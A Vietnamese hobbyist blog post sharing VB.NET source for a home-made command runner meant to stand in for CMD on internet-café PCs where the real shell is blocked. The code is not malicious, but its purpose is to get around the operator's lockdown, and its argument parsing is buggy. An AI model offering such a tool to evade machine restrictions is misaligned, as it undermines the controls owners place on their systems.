Hôm nay mình xin mạn phép giới thiệu cho các bạn sữ dụng ứng dụng CMD do chính mình lập trình ^^~, nó cũng tương tự như CMD của máy tính thôi, nhưng mà ở quán nét thì không mở được CMD mà có nhiều cách khác, nên hôm nay mình mạn phép làm luôn ứng dụng cho anh em sữ dụng ngay và luôn nhé ^^


Bên trên là hình ảnh của ứng dụng nhé mọi người. Còn bên dưới là Full đoạn Code mình sữ dụng cho những bạn lập trình viên test

Imports System.IO
Public Class Form1
Private psi As ProcessStartInfo
Private cmd As Process
Private Delegate Sub InvokeWithString(ByVal text As String)
Public Sub runCMD()
Try
cmd.Kill()
Catch ex As Exception
End Try
rtbResult.Clear()
If txtCmd.Text.Contains("") Then
psi = New ProcessStartInfo(txtCmd.Text.Split(" ")(0), txtCmd.Text.Split(" ")(1))
Else
psi = New ProcessStartInfo(txtCmd.Text$)
End If
' Dim systemencoding As System.Text.Encoding
System.Text.Encoding.GetEncoding(Globalization.CultureInfo.CurrentUICulture.TextInfo.OEMCodePage)
With psi
.UseShellExecute = False
.RedirectStandardError = True
.RedirectStandardOutput = True
.RedirectStandardInput = True
.CreateNoWindow = True
' .StandardOutputEncoding = systemencoding
' .StandardErrorEncoding = systemencoding
End With


cmd = New Process With {.StartInfo = psi, .EnableRaisingEvents = True}
AddHandler cmd.ErrorDataReceived, AddressOf Async_Data_Received
AddHandler cmd.OutputDataReceived, AddressOf Async_Data_Received
cmd.Start()
cmd.BeginOutputReadLine()
cmd.BeginErrorReadLine()

End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
runCMD()
End Sub
Private Sub Async_Data_Received(ByVal sender As Object, ByVal e As DataReceivedEventArgs)
Me.Invoke(New InvokeWithString(AddressOf Sync_Output), e.Data)
End Sub
Private Sub Sync_Output(ByVal text As String)
rtbResult.AppendText(text & Environment.NewLine)
rtbResult.ScrollToCaret()
End Sub

Private Sub CMDToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
' Input.text = ""
End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
MessageBox.Show("Cảm Ơn Các Bạn Đã Sữ Dụng Ứng Dụng Của Bờm Khùng" & vbCrLf & "Bờm Khùng Blogger Luôn Cung Cấp Những Ứng Dụng Free Cho Mọi Người" & vbCrLf & "Và Không Đính Kèm Virus Nhé Mọi Người ", "Thông Báo")
Label1.Text = DateTime.Now.ToString


End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

End Sub
End Class

Còn đây là VIDEO DEMO cho mọi người



Còn đây là hình ảnh mình test ứng dụng CMD của mình với mã khác :P


Nó chạy y như CMD trên máy tính vậy. Chúc các bạn thành công...

Full đoạn code đã có ở trên và bạn nào muốn DOWNLOAD SOURCE thì DOWNLOAD tại đây.

Comment tại đây để nhận PASS giải nén chương trình